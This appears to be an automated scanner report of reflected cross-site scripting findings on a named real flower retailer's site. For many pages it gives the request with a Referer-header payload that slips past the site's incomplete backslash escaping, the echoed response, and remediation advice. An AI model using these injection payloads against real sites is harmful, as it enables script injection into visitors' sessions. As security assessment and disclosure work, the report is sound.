GET /international/ HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=5933e\"%3balert(1)//c9637070deb
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86728\"%3balert(1)//1c375236263 was submitted in the Referer HTTP header. This input was echoed as 86728\\";alert(1)//1c375236263 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /international/home.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=86728\"%3balert(1)//1c375236263
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 55722\"%3balert(1)//08f39df014b was submitted in the Referer HTTP header. This input was echoed as 55722\\";alert(1)//08f39df014b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /iris-flowers-iri HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=55722\"%3balert(1)//08f39df014b
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:00 GMT Connection: close Content-Length: 99319
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_55722\\";alert(1)//08f39df014b";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 81def\"%3balert(1)//c52e8d7fce6 was submitted in the Referer HTTP header. This input was echoed as 81def\\";alert(1)//c52e8d7fce6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /just-because-gifts-jbe HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=81def\"%3balert(1)//c52e8d7fce6
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:12:48 GMT Connection: close Content-Length: 237651
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_81def\\";alert(1)//c52e8d7fce6";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38ddb\"%3balert(1)//4c7da06bd54 was submitted in the Referer HTTP header. This input was echoed as 38ddb\\";alert(1)//4c7da06bd54 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /landingpress.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=38ddb\"%3balert(1)//4c7da06bd54
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:49 GMT Connection: close Content-Length: 52910
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... = "na:na:na:na"; s.prop10=""; s.prop11="pfc"; s.prop12="true"; s.prop13="false"; s.prop14="true"; s.prop16=""; s.prop28="e0fb93e1-21b4-45f1-99d8-8846bf4ade0d";
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63f03\"%3balert(1)//a58a977b68d was submitted in the Referer HTTP header. This input was echoed as 63f03\\";alert(1)//a58a977b68d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /lilies-lil HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=63f03\"%3balert(1)//a58a977b68d
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:14 GMT Connection: close Content-Length: 177378
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_63f03\\";alert(1)//a58a977b68d";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 86ef8\"%3balert(1)//7d66a98bc61 was submitted in the Referer HTTP header. This input was echoed as 86ef8\\";alert(1)//7d66a98bc61 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /mrs-fields-cookies-mrs HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=86ef8\"%3balert(1)//7d66a98bc61
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:45 GMT Connection: close Content-Length: 134569
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_86ef8\\";alert(1)//7d66a98bc61";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e648a\"%3balert(1)//64ca2e14ab9 was submitted in the Referer HTTP header. This input was echoed as e648a\\";alert(1)//64ca2e14ab9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /new-baby-flowers-bab HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=e648a\"%3balert(1)//64ca2e14ab9
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:11:34 GMT Connection: close Content-Length: 233475
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_e648a\\";alert(1)//64ca2e14ab9";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1a09a\"%3balert(1)//724e360f4d8 was submitted in the Referer HTTP header. This input was echoed as 1a09a\\";alert(1)//724e360f4d8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /orchids-orc HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=1a09a\"%3balert(1)//724e360f4d8
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:19 GMT Connection: close Content-Length: 124157
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_1a09a\\";alert(1)//724e360f4d8";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 40897\"%3balert(1)//a281b454fa7 was submitted in the Referer HTTP header. This input was echoed as 40897\\";alert(1)//a281b454fa7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
